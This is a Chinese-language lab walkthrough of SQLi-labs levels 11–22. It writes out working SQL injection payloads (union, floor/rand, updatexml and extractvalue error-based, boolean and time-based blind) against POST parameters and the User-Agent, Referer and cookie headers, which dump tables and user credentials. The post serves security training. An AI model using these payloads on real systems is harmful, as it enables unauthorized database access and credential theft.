SQL注入详解 11-22关

Less-11(POST传参,联合注入)

第11关总结:
第十一关与前面的关卡不太相同,这里采用了POST传参,我们需要借助浏览器插件或者抓包工具对其参数进行修改。用户名与密码均为admin,登录成功后会回显出用户名及密码,所以我们可以尝试在参数uname与参数passwd处尝试进行注入,经过判断,发现在参数uname处存在单引号字符型注入,并且有回显能判断出字段数,所以我们使用简单的联合注入就可以完成

  1. 这里可以采用hackbar插件以POST传参来进行访问
    在这里插入图片描述
  2. 判断注入类型
#测试uname参数
admin'
admin' and 1=1#
admin' and 1=2#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 判断注入字段数
admin' order by 2#
admin' order by 3#

在这里插入图片描述
在这里插入图片描述

  1. 判断显示位置
z' union select 1,2#

在这里插入图片描述

  1. 查看当前数据库名,及版本
z' union select database(),version()#
查询所有数据库:
z' union select 1,group_concat(schema_name) from information_schema.schemata#

在这里插入图片描述
在这里插入图片描述

  1. 查询当前数据库中的表名
z' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

在这里插入图片描述

  1. 查询users表中所有的列
z' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

  1. 查询数据:
z' union select group_concat(username),group_concat(password) from users#

在这里插入图片描述

Less-12(floor(),rand()报错注入)

第12关总结:
第12关这里与第11关相同,只是这里的注入类型为uname=(“admin”) ,所以我们可以采用联合注入来完成,11关刚刚用了联合注入,所以我这里使用了floor-rand注入,各种注入都尝试一下

  1. 判断注入类型
admin"
admin") and 1=1#
admin") and 1=2#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 判断字段数
    admin") order by 2#
    在这里插入图片描述

  2. 判断显示位置

admin") union select 1,2#

在这里插入图片描述

  1. 查询当前数据库名
admin") union select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#

在这里插入图片描述

  1. 查询当前数据库中表的个数
z") union select count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#

在这里插入图片描述

  1. 查询users表中字段数
z") union select count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#

在这里插入图片描述

  1. 查数据:
z") union select count(*),concat(0x7e,(select group_concat(username) from users),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#
z") union select count(*),concat(0x7e,(select group_concat(password) from users),0x7e,floor(rand(0)*2))a from information_schema.tables group by a#

在这里插入图片描述
在这里插入图片描述

Less-13(updatexml()报错注入)

第13关总结:
13关这里没有回显,只给出了登录提交后的状态,所以我们这里可以考虑布尔盲注,时间盲注,updatexml()报错注入,floor()报错注入等,这里与12关的步骤基本相同

  1. 判断注入类型
admin'
admin') and 1=1#
admin') and 1=2#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 判断字段数
admin') order by 2#

在这里插入图片描述

  1. 查看显示位置(并没有显示位置)
admin') union select 1,2#

在这里插入图片描述

  1. 查看当前数据库
admin') union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#

在这里插入图片描述

  1. 查询当前数据库中所有的表
z') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

在这里插入图片描述

  1. 查询users表中所有的列
z') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#

在这里插入图片描述

  1. 查数据
z') union select 1,updatexml(1,(select group_concat(username) from users),1)#
z') union select 1,updatexml(1,(select group_concat(password) from users),1)#

在这里插入图片描述
在这里插入图片描述

Less-14(extractvalue()报错注入)

第十四关总结:
第十四关判断出双引号字符型注入,但是没有回显,所有我可以进行布尔盲注,时间盲注。经过测试,也可以进行extractvalue()报错注入,exp报错注入等

  1. 判断注入类型
admin"
admin" and 1=1#
admin" and 1=2#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 判断字段数
admin" order by 2#
admin" order by 3#

在这里插入图片描述

在这里插入图片描述

  1. 查询当前数据库名
admin" union select 1,extractvalue(1,concat(0x7e,(select database()),0x7e))#

在这里插入图片描述
4. 查询当前数据库中所有的表

admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

在这里插入图片描述

  1. 查询users表中所有的字段
admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e))#

在这里插入图片描述

  1. 查询数据库中的数据
admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))#
admin" union select 1,extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))#

在这里插入图片描述
在这里插入图片描述

Less-15(布尔盲注+时间盲注)

第15关总结:
这里判断注入类型的时候没有报错信息,所以我们只能猜测注入。这里只做了重要的几步payload,其余的可以自己研究,也可参照我前面做的第5关,还是比较详细的

  1. 判断注入类型
admin' and 1=1#
admin' and 1=2#
#也可以利用sleep()函数
admin' and sleep(5)#

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  1. 判断注入字段数
admin' order by 2#

在这里插入图片描述

  1. 猜解当前数据库名的长度
admin' and length(database())=8#

在这里插入图片描述

  1. 二分法猜解数据库名
admin' and ascii(substr(database(),1,1))=115#

在这里插入图片描述

  1. 猜解当前数据库中表的个数
admin' and (select count(table_name) from information_schema.tables where table_schema='security')=4#

可以看出当前数据库有四个表
在这里插入图片描述

在这里插入图片描述

  1. 猜解每个表名的长度
admin' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=6#

第一个表名的长度为6
在这里插入图片描述
7. 二分法猜解表名

admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#

在这里插入图片描述

  1. 猜解列名和数据与猜解表名的方法一样,这里不做过多演示(可以参照前面第五关)

Less-16(布尔盲注+时间盲注)

第16关总结:
第16关这里判断注入类型时没有报错信息,所以我们只能盲猜注入类型。这里和15关一样,只是改变了注入类型

盲试注入类型

admin") or 1=1#
admin") and 1=2

在这里插入图片描述
在这里插入图片描述
查看字段数

admin") order by 2#

在这里插入图片描述

Less-17(extractvale()报错注入)

第17总结:
这一关将注入点只能在参数passwd处进行注入,对参数uname处做了检查过滤。并且还有一个不同点:前面这些关卡都是以select语句进行的,这里是以update语句进行

  1. 判断注入类型
#1.输入一个引号报错,从报错信息可以看出来是单引号字符型注入
admin'
#2.输入两个引号页面显示正常,相当于这两个引号闭合,对sql语句不产生影响
admin''
#3.输入单引号和井号页面也显示正常,可以判断出注入类型为单引号字符型注入
admin'#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

开挂(查看源代码)
存在检查输入的函数
在这里插入图片描述
这里只对用户名进行了检查,并没有对密码进行检查,所以用户名处不存在注入,而密码处存在单引号字符型注入

#执行的sql语句
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

在这里插入图片描述

  1. 尝试利用报错注入,查看当前数据库名
admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

在这里插入图片描述
3. 查看当前数据所含的表名

admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#

在这里插入图片描述
4. 查看users表中所有的列名

admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))#

在这里插入图片描述

Less-18(User-Agent注入——extractvalue()报错注入)

第18关总结:
18关这里我们需要借助代理或者插件来完成注入,这里的注入点在User-Agent头,当我们成功登录账号时,我们可以看到User-Agent的回显。并且这里的sql语句为insert,所以我们这里借助源码来完成

  1. 成功登录后会返回User-Agent头,所以我们可以在User-Agent尝试注入
    在这里插入图片描述

  2. 替换User-Agent中的内容,我们可以发现浏览器中的User-Agent也发生变化
    在这里插入图片描述

  3. 开挂(查看源码)
    在这里插入图片描述

#mysql语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
  1. 测试注入类型
123'
123' and '1'='1

在这里插入图片描述
在这里插入图片描述

  1. 报错注入,查看当前数据名
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

在这里插入图片描述

  1. 查看当前数据库中所含的表
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '1'='2

在这里插入图片描述

7 查看users表中所有的列

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) and '1'='1

在这里插入图片描述

  1. 查看数据
1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)) and '1'='1
1' and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e)) and '1'='1

在这里插入图片描述
在这里插入图片描述

Less-19(referer注入——updatexml()报错注入)

第19关总结:
19关的注入点在referer头,这里与第18关的注入是一模一样的,注入类型也是一样的

数据库中的sql语句

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
  1. 查看当前数据库
123' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

在这里插入图片描述

  1. 查看当前数据库中所有的表
123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

在这里插入图片描述

  1. 查看users表中所有的列
123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) or '1'='2

在这里插入图片描述

  1. 查看数据
123' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and '1'='2
123' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) or '1'='1

在这里插入图片描述

在这里插入图片描述

Less-20(cookie注入——updatexml()报错注入)

第20关总结:
20关和18,19关不太一样,这里的注入点在cookie。等做完实验,查看完源代码才恍然大悟,这里的注入必须是要以GET请求方式去向服务器发送请求,这时cookie才会被带入到数据库查询,才会产生注入点。而我们在浏览器发出的POST数据包,到web服务器后会发生302重定向,所以我们真正的注入数据包应该是重定向后的那个数据包

  1. 判断注入类型:
admin'
admin' and '1'='1
admin' and '1'='1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 爆库
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

在这里插入图片描述

  1. 爆表
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='2

在这里插入图片描述

  1. 爆列
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) and '1'='1

在这里插入图片描述

  1. 爆数据
admin' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and '1'='1
admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) and '1'='1

在这里插入图片描述
在这里插入图片描述

  1. 回过头来查看源码:
    6.1 我们可以发现,当我们使用POST传参的时候,只有参数uname,passwd被带入数据库查询,并且被经过滤检查。
    在这里插入图片描述

6.2 只要以非POST方式提交请求时,这是cookie才带入数据查询。那我们在浏览器中以POST提交参数时,为什么就可以在cookie处存在注入呢???(原因如下)
在这里插入图片描述
6.3 我们通过抓包分析
a. 点击提交,抓包
在这里插入图片描述
b. 可以看出我们发送数据包后,出现302状态码,重定向作用
在这里插入图片描述
c. 这个时候发现重定向后的包是以GET方式发送,所以可以将cookie带入数据进行查询,这个数据包才是我们真正注入的数据包。并且返会数据库文件存放路径
在这里插入图片描述
6.4 正确注入方式
不需要修改提交方式,默认以GET方式。前面的POST注入多此一举
在这里插入图片描述

Less-21(base64注入——floor(),rand()报错注入)

第21关总结:
这一关对输入的数据需要进行base64加密,因为源码中有base64解密函数,剩余的步骤与20关一致,注入点都在cookie

源码:
在这里插入图片描述

  1. 登录成功后发现,这里在cookie处做了base64加密操作,所以这里如果存在注入的话,我们要将构造好的sql语句进行base64加密,再带入数据库
    在这里插入图片描述
    受到第21关的启发,我们在注入前先抓包查看可能是哪种请求方式的注入
    POST数据包:302重定向
    在这里插入图片描述
    GET数据包:200成功响应并返回
    在这里插入图片描述

  2. 查看注入类型
    从报错信息大概可以看出来这是 ') 字符型注入
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  3. 爆库

admin') union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述

  1. 爆表
admin') union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述

  1. 爆列
admin') union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述
6. 爆数据

admin') union select 1,count(*),concat(0x7e,(select password from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#

在这里插入图片描述

Less-22(base64注入——extractvalue()报错注入)

第22关总结:
这一关与21关做法相同,只有注入类型发生变化,注入点需要输入经base64加密的payload

  1. 判断注入类型
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  2. 爆库
    在这里插入图片描述

  3. 爆表
    在这里插入图片描述

  4. 爆列
    在这里插入图片描述

  5. 爆数据
    在这里插入图片描述

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值